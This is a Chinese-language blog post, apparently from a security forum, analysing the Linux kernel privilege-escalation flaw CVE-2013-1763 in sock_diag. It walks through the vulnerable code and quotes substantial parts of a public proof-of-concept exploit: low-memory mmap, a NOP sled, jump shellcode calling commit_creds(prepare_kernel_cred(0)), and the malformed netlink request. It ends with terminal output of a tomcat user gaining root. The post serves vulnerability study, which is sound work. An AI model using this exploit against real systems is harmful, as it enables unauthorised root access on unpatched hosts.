近日闲的蛋疼, 刚开始把自己的Ubuntu执行命令sudo apt-get remove libc6, 然后又重新编内核,重新装各种东西,最终终于看到图形界面.
然后忽然网上出现了apache struts2的漏洞,又在思考tomcat的帐号在linux平台上如何get root.
于是准备搭环境自己黑自己一把.
上网搜了一下,最新的提权的漏洞是CVE-2013-1763, 影响的版本具多, 有现成的poc, 值得一试.
(1)漏洞描述
系统在处理sock_diag_handlers数组的时候, 未对传入的值进行验证, 从而导致越界,进而导致可执行代码的漏洞.
未授权用户可以通过执行代码, 得到root权限.
(2)漏洞产生的原因
首先看sock_diag_handlers的定义
static struct sock_diag_handler *sock_diag_handlers[AF_MAX]; //可以看出,这个指针数组最大为AF_MAX AF_MAX = 41.
在/net/core/sock_diag.c中有如下代码,
static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
{
int err;
struct sock_diag_req *req = NLMSG_DATA(nlh);
struct sock_diag_handler *hndl;
if (nlmsg_len(nlh) < sizeof(*req))
return -EINVAL;
hndl = sock_diag_lock_handler(req->sdiag_family);//这里传入sdiag_family的值,然后返回sock_diag_handlers中存放的hanlder.我们看一下sock_diag_lock_handler函数
if (hndl == NULL)
err = -ENOENT;
else
err = hndl->dump(skb, nlh);
sock_diag_unlock_handler(hndl);
return err;
}
----
static inline struct sock_diag_handler *sock_diag_lock_handler(int family)
{
if (sock_diag_handlers[family] == NULL)
request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,
NETLINK_SOCK_DIAG, family);
mutex_lock(&sock_diag_table_mutex);
return sock_diag_handlers[family]; //这个函数没有对传入的family的值的范围,进行验证,从而造成数组越界.
}
---
我们知道了漏洞产生的原因,接下来看漏洞是如何利用的呢, 我们通过网上出现的poc来分析.
(3)漏洞的利用.
人们都说漏洞的利用是一门艺术, 确实是这样, 仅从上述的内容分析,我们只知道,当会导致数组越界,从而导致系统crash.
如果要利用的话,需要对上下文环境有足够的了解,需要对整个系统进程的内存布局有个足够的了解.
hndl = sock_diag_lock_handler(req->sdiag_family);//这里传入sdiag_family的值,然后返回sock_diag_handlers中存放的hanlder.我们看一下sock_diag_lock_handler函数
if (hndl == NULL)
err = -ENOENT;
else
err = hndl->dump(skb, nlh);
上述代码中,我们知道,我们可以指定数组读取的内容,并把值返回给hndl,接下来我们看hndl的结构,
struct sock_diag_handler {
__u8 family;//
int (*dump)(struct sk_buff *skb, struct nlmsghdr *nlh);
};
看到这时,我们豁然开朗,只要我们伪造handler的结构,并赋予dump函数指针相关的值,我们可以指定执行到我们的地址了.
此时内存的布局如下,
[handler1]
[handler2]
......
[handler40]
......
[nl_table]
......
//至于为啥是这样呢,我是看到poc才知道是这样的.悲剧
我们继续看nl_table的结构,
67 struct netlink_table {
68 struct nl_portid_hash hash; //取回这个值
69 struct hlist_head mc_list;
70 struct listeners __rcu *listeners;
71 unsigned int flags;
72 unsigned int groups;
73 struct mutex *cb_mutex;
74 struct module *module;
75 void (*bind)(int group);
76 int registered;
77 };
如果我们能够在内存中取得hash的值,可以通过指定family,将这个nl_table中的hash的值做为句柄返回.
我们继续看hash的结构是nl_portid_hash
54 struct nl_portid_hash {
55 struct hlist_head *table; 四个字节
56 unsigned long rehash_time; //也是四个字节.0x00012b59//这个值在我们的那个范围内.
57
58 unsigned int mask;
59 unsigned int shift;
60
61 unsigned int entries;
62 unsigned int max_shift;
63
64 u32 rnd;
65 };
如果将hash的值返回,rehash_time即对应dump函数的地址,
而如何将hash的值返回呢, 我们需要看下nl_table距离sock_diag_handlers多远
family = (nl_table-sock_diag_handlers)/4
我们指定特定的family的值,即能将hash的值返回.
bitnami@domU-12-31-39-10-6A-AA:~$ sudo cat /proc/kallsyms | grep sock_diag_handlers
c0ae9be0 b sock_diag_handlers
bitnami@domU-12-31-39-10-6A-AA:/tmp$ sudo cat /proc/kallsyms | grep nl_table
c0ae9e44 b nl_table
family的值为(c0ae9e44-c05b8fd0)/4 = 153.
所以我们指定family的值为153时,即可将hash的值作为handler返回.
我们看下rehash_time的值,
(gdb) x/32x 0xc0ae9e44(nl_table的地址)
0xc0ae9e44: 0xe5c90800 0x00000000 0xc0933d4c 0x00000000
0xc0ae9e54: 0x00000000 0x00000000 0x00000000 0xc09443d8
0xc0ae9e64: 0xc09443d8 0xc0949498 0xc0949498 0xc0949778
0xc0ae9e74: 0xc0949778 0xc09495f8 0xc09495f8 0xc093e9f8
0xc0ae9e84: 0xc093e9f8 0xc090faf8 0xc090faf8 0xc08ff058
0xc0ae9e94: 0xc08ff058 0xc0ae9e98 0xc0ae9e98 0xc0ae9ea0
0xc0ae9ea4: 0xc0ae9ea0 0xc0ae9ea8 0xc0ae9ea8 0xc0ae9eb0
0xc0ae9eb4: 0xc0ae9eb0 0xc0ae9eb8 0xc0ae9eb8 0xc0ae9ec0
(gdb) x/32x 0xe5c90800(hash)
0xe5c90800: 0xe3748ea8 0x00012b59(这个值即为rehash_time的值) 0x00000001 0x00000001
--
从上述内容来看,我们现在能跳到0x00012b59这个地址去执行了, 接下来我们只需要将这个地址填充我们的shellcode,即可
(从poc中有如下代码)
unsigned long mmap_start, mmap_size;
mmap_start = 0x10000; //从这个地址开始布置内存,
mmap_size = 0x120000;
printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size);
//映射这块地址空间,从而进行读写执行操作.
if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
printf("mmap fault\n");
exit(1);
}
//将这个地址空间布满0x90的命令. 这块类似heap sprey...将这一大块内存都布满0x90...
memset((void*)mmap_start, 0x90, mmap_size);
/*
push ebp
mov ebp, esp
mov eax, 0x11111111 //\x11\x11\x11\x11是地址.
call eax
pop ebp
ret
*/
char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm
unsigned long *asd = &jump[4]; //我们得到这个\x11\x11\x11\x11的地址
*asd = (unsigned long)kernel_code;
//我们把这个地址改成kernel_code的地址,从而执行我们的kernel code.
//然后将这个jump拷贝到上述的共享内存的地方.
//这里布置完shellcode.
//提权的漏洞有一好处,就是shellcode可以用c语言来写...
//我们看下kernel_code,
int __attribute__((regparm(3)))
kernel_code()
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
//这个代码就不解释了.
memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));
//下面触发漏洞
struct {
struct nlmsghdr nlh;
struct unix_diag_req r;
} req;
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = sizeof(req);
req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
req.nlh.nlmsg_seq = 123456;
req.r.udiag_states = -1;
req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
req.r.sdiag_family = 153; //这里传入我们上述知道的畸形的family的值,
//发送畸形的req,进而触发漏洞.
if ( send(fd, &req, sizeof(req), 0) < 0) {
printf("bad send\n");
close(fd);
return -1;
}
至此告一段落..
还是那句话,漏洞的利用一门深奥的艺术.
没有对系统深刻的理解,写不出完美的利用.
最后看到自己把自己黑了,tomcat变成root,很是惊喜,激动
Enjoy the shell.
bash: no job control in this shell
tomcat@domU-12-31-39-10-6A-AA:/opt/bitnami/apache-tomcat/logs$ cd /tmp/
cd /tmp/
tomcat@domU-12-31-39-10-6A-AA:/tmp$ id;whoami;
id;whoami;
uid=999(tomcat) gid=999(tomcat) groups=999(tomcat)
tomcat
tomcat@domU-12-31-39-10-6A-AA:/tmp$ ./a.out
./a.out
Run: ./a.out Fedora|Ubuntu
tomcat@domU-12-31-39-10-6A-AA:/tmp$ ./a.out Ubuntu
./a.out Ubuntu
id;whoami;
uid=0(root) gid=0(root) groups=0(root)
root
----
(4)参考
http://www.securityfocus.com/bid/58137/exploit
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法